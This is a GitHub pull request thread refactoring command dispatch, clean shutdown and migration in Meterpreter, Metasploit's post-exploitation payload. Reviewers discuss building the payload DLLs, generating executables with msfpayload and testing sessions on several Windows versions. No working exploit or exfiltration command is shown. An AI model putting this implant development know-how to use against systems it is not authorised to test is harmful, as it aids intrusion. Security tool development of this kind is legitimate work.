Command refactor for clean shutdown + inline calls #34
Conversation
This work contains a bunch of changes around command dispatching. The goals for this bit of work were to: * Provide the ability for commands to be executed on the same thread as the server rather than always creating new threads and executing them on those threads. * Have the means for _special_ commands, such as `exit` and `migrate` to shut down the server cleanly without having to rely on signalling across threads or by doing brutal thread termination via shared global handles. This should not only fix the dirty shutdown problem on Windows which leaves tasks dangling (or based on the prior attempt at fixing, crashing stuff as well), it should also help clean up the shutdown process in POSIX. These changes hit a very important part of Meterpreter and so should be reviewed with intense scrutnity. I expect this PR to garner a log of critique and most likely a number of changes before being included in the main line. The `PacketDispatcher` was modified to include a new function pointer called an `inline_handler`. This new member indicates that there's a handler which should be invoked inline. While this sits alongside the existing `handler`, they are actually mutually exclusive. If an `inline_handler` is specified then the `handler` is ignored and it is assumed that the command is intended to be handled inline. The signature of the inline handler is different to the standard handler, and this is why a new function pointer was added rather than a simple flag. Addition of this parameter meant that the basic command structure changed, and that obviously affects all of the extensions and their respective commands. This changeset therefore updates each of those command declarations so that they use the new macros that hide this detail. Other things to be mindful of: * This version of the code reads the command's `method` prior to invoking any other function, and after that the command itself is passed around to the threaded or non-threaded routes for invocation. An extra thread parameter was included as as result, and an overload for the `thread_create` function was added which supported this new parameter. This was named `thread_create3` because `thread_create_with_another_paramter` sounded a bit crap. * The migration code, which originally had a `thread_kill` and an event wait once the new meterpreter session had been created, has been modified to not do any waiting at all. Instead it finishes execution as fast as possible and returns control to the server which should respond by shutting down in a clean way. * Originally the code always attempted to call a command handler in the base command list and then, if found, would also call an "overload" in the extension commands list. From the investigation that I did, it appears that the overloaded methods did nothing in the base (they'd early out during invocation). As a result, the new way of doing things acts like a 'true' overload in that the extension commands are searched first, and if one is found this is the command that is executed. Any base commands with the same method name will not get executed. In the case where there is no extension command found, the base command list is then queried. If a command is found that command is instead invoked. * The POSIX version still compiles cleanly, but I've never been able to build a version that runs on my machines. I'm not sure if there's a trick to getting POSIX builds to run, and if there is I don't know it. Whoever scrutinises this build should make sure that the POSIX version that they build can still run and (hopefully) exit cleanly. I've added lots of documentation, but there's always room for improvement. Hopefully this will fix the `*_tcp` side of Redmine 8438. Bring on the feedback!
ghost
assigned 
|
Dropped @jlee-r7 on the assigned list, because I'm pretty underqualified to review this. @hmoore-r7's input would be appreciated, too. |
| #define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } } | ||
| /*! | ||
| * @brief Helper macro that defines a command instance with an inline request handler only. | ||
| * @remarks The request handler will be executed on the server thread thread. |
|
@OJ The trick to compiling POSIX is to use gcc 4.5; something changed in the way it does exports after that which makes the runtime linker fail to find any of its own symbols. |
| @@ -162,7 +162,7 @@ struct arp_table { | |||
| #include <wininet.h> | |||
|
|
|||
| /*! @brief When defined, debug output is enabled. */ | |||
| //#define DEBUGTRACE 1 | |||
| #define DEBUGTRACE 1 | |||
There was a problem hiding this comment.
Prolly don't wanna leave this defined
There was a problem hiding this comment.
Hehe.. Agreed. I realised I'd left that uncommented just as I was dozing off.
|
There are not that many instances of |
|
|
||
| // Call the custom handler | ||
| res = command_call_dispatch(current, remote, inPacket); |
There was a problem hiding this comment.
This is a fairly significant change. I have no idea if this undocumented (mis)feature of being able to override a core command is used (abused?) anywhere, but we need to look around at least in the official extensions and make sure it's not going to break anything
There was a problem hiding this comment.
Yeah this change is certainly big. I went through as many things as I could to see if there was something causing problems, but the only case I saw was the one where the overloaded version in the base commands didn't actually perform any functionality anyway.
It really does need to be tested completely though.
|
Except for the comments above, the code seems solid. Compiling and testing now |
|
Built against my branch, seems to work, even with extensions not included in master (customized mirv, msfmap, ocioralog, in-house toys). Tested against xp sp3 x86, server 2008 x64, 2008r2, Win7 x64. Far as the integrated testing environment goes, i've been running a poor-mans version of this in our Xen lab, simply removing patches from an up-to-date image as needed in the cookbook, dealing with reboots, validating file versions, etc. Much less configuration overhead than manual labor, still takes more time than i'd prefer. Not perfect, MSFT dep chains suck and roll-ups can add a bunch of complexity to SxS. |
|
I was tempted to change all the thread_create calls, but the number of changes was already quite large, so I thought I'd leave that for another day. However! I shall fix :) |
* Updated `thread_create` so that it has 3 parameters, and removed `thread_create3`. * Updated all calls to `thread_create` and added the extra parameter of `NULL`. * Fixed comment typo. * Removed assignment where value is not used. * Checked for `NULL` prior to setting the result. * Undefined `DEBUGTRACE`.
|
@sempervictus Thanks for taking the time to have a look at this PR mate. It looks like you've put some effort in! With a patch like this the effort you've put in really helps build confidence that things haven't been broken. Thank you! |
I'm such a noob. My grep-fu was weak with this one.
Make now correctly loads the environment automatically if it can find it.
|
To anyone who's keen to help but isn't keen on reviewing C code, simply building and running the binaries like @sempervictus has done would be a huge help in validating the stability of the fix. Cheers! |
A few more warnings than the last stable build: https://ci.metasploit.com/view/Meterpreter/job/MeterpreterWin/75/console |
|
Looks good to me: |
|
That all said, I still think @jlee-r7 ought to review and land. I am not to be trusted. |
|
I don't know what it is, but this thing tends to fail on me a lot. Compiled with VS2012, shoved all the DLLs to data/meterpreter, generated an executable meterpreter with msfpayload, and started a multi/handler this way: And then usually meterpreter would crash right after a session was opened: If I execute the same binary, sometimes the stays alive for awhile. But eventually msfconsole throws: Tested on the following setups:
|
|
@wchen-r7 Mine: Looks like something funny is going on with your msfpayload technique. Can you copy-paste your specific arguments? Smells like a bug there. |
file command shows it's a valid PE32 executable. |
|
Given that your payload is twice as big implies there's some problem with msfpayload (and presumably msfvenom) that's not manifesting in the msfconsole + generate method. @OJ can you confirm? |
|
Should't the second stage deliver a DLL from data/meterpreter? |
|
yep, it should deliver metsrv.dll |
|
Yeah, so why are we checking msfpayload........... I'm confused. |
|
@wchen-r7 the main reason is that you used msfpayload to generate your exe, and ran into problems, while I used msfconsole's payload |
|
It seems my metsrv.x86.dll is bigger than usual. @todb-r7 after you build the DLLs, how big is your metsrv.x86.dll? |
|
My guess is you built Debug instead of Release |
|
Yeah, that's what I did. Rebuilt it, retesting... |
|
Retested against Win XP/Win 7/Win 8/Win Server 2003/Win Server 2008, everything worked fine. Test log is available upon request. |
|
@wchen-r7 assuming there's nothing secret in there, feel free to gist it and link from here. |
|
Nm, just saw that you sent the log to my R7 mail claiming some sensitivity. Thanks! |
|
Ah you tested migrate, perfect, that thing is recently fixed and traditionally finicky. |
|
Thanks again guys for doing this testing. You rock. I'll put some time Debug builds compile but don't yet run :( it's on the todo list to find out Cheers! |
|
@wchen-r7 It might be a while before I get to look at the debug builds, but for now release builds with |
|
@jlee-r7 Dude I'm going to need to pick your brain a bit about the POSIX build for this PR. I'll hit you up tomorrow. |
Conflicts: make.bat
|
Merged from |
|
Test PASSED. |
POSIX no likey BREAK_ON_ERROR, it fails at runtime. Replaced with portable code.
|
Test PASSED. |
|
We also need to rebuild the POSIX bins too. I can build and run them fine on this box which is Fedora 19 x64, gcc 4.8.2-1. @jlee-r7 can run them and they work fine too. However, building on Ubuntu 13.10 x64, gcc 4.8.1 is a diff story. We both get the following error when testing with [ _elf_lookup(), name = 'longjmp', value = 00000000, size = 00000000, info = 10, other = 00, shndx = 0000 ]
msflinker.c:1640| ERROR: 0 cannot locate 'longjmp'...
msflinker.c:2330| ERROR: failed to link libpcap.so.1
[ failed to load libpcap.so.1/20149720/00016e24, bailing ]Not sure what's going on here. Where is the POSIX version usually built? |
|
IIRC, the last time the POSIXs bins were built, they were on some intentionally old Ubuntu 8.04 VM with a hand-picked OpenSSL libs (to avoid some security bugs with openssl that old). That's always been @jlee-r7 and @hmoore-r7's bag; see the git logs for |
This work contains a bunch of changes around command dispatching. The
goals for this bit of work were to:
exitandmigrateto shut down the server cleanly without having to rely on signalling across threads or by doing brutal thread termination via shared global handles. This should not only fix the dirty shutdown problem on Windows which leaves tasks dangling (or based on the prior attempt at fixing, crashing stuff as well), it should also help clean up the shutdown process in POSIX.These changes hit a very important part of Meterpreter and so should be reviewed with intense scrutnity. I expect this PR to garner a log of critique and most likely a number of changes before being included in the main line.
The
PacketDispatcherwas modified to include a new function pointer called aninline_handler. This new member indicates that there's a handler which should be invoked inline. While this sits alongside the existinghandler, they are actually mutually exclusive. If aninline_handleris specified then thehandleris ignored and it is assumed that the command is intended to be handled inline. The signature of the inline handler is different to the standard handler, and this is why a new function pointer was added rather than a simple flag. Addition of this parameter meant that the basic command structure changed, and that obviously affects all of the extensions and their respective commands. This changeset therefore updates each of those command declarations so that they use the new macros that hide this detail.Other things to be mindful of:
methodprior to invoking any other function, and after that the command itself is passed around to the threaded or non-threaded routes for invocation. An extra thread parameter was included as as result, and an overload for thethread_createfunction was added which supported this new parameter. This was namedthread_create3becausethread_create_with_another_paramtersounded a bit crap.thread_killand an event wait once the new meterpreter session had been created, has been modified to not do any waiting at all. Instead it finishes execution as fast as possible and returns control to the server which should respond by shutting down in a clean way.I've added lots of documentation, but there's always room for improvement.
Hopefully this will fix the
*_tcpside of Redmine 8438.Bring on the feedback!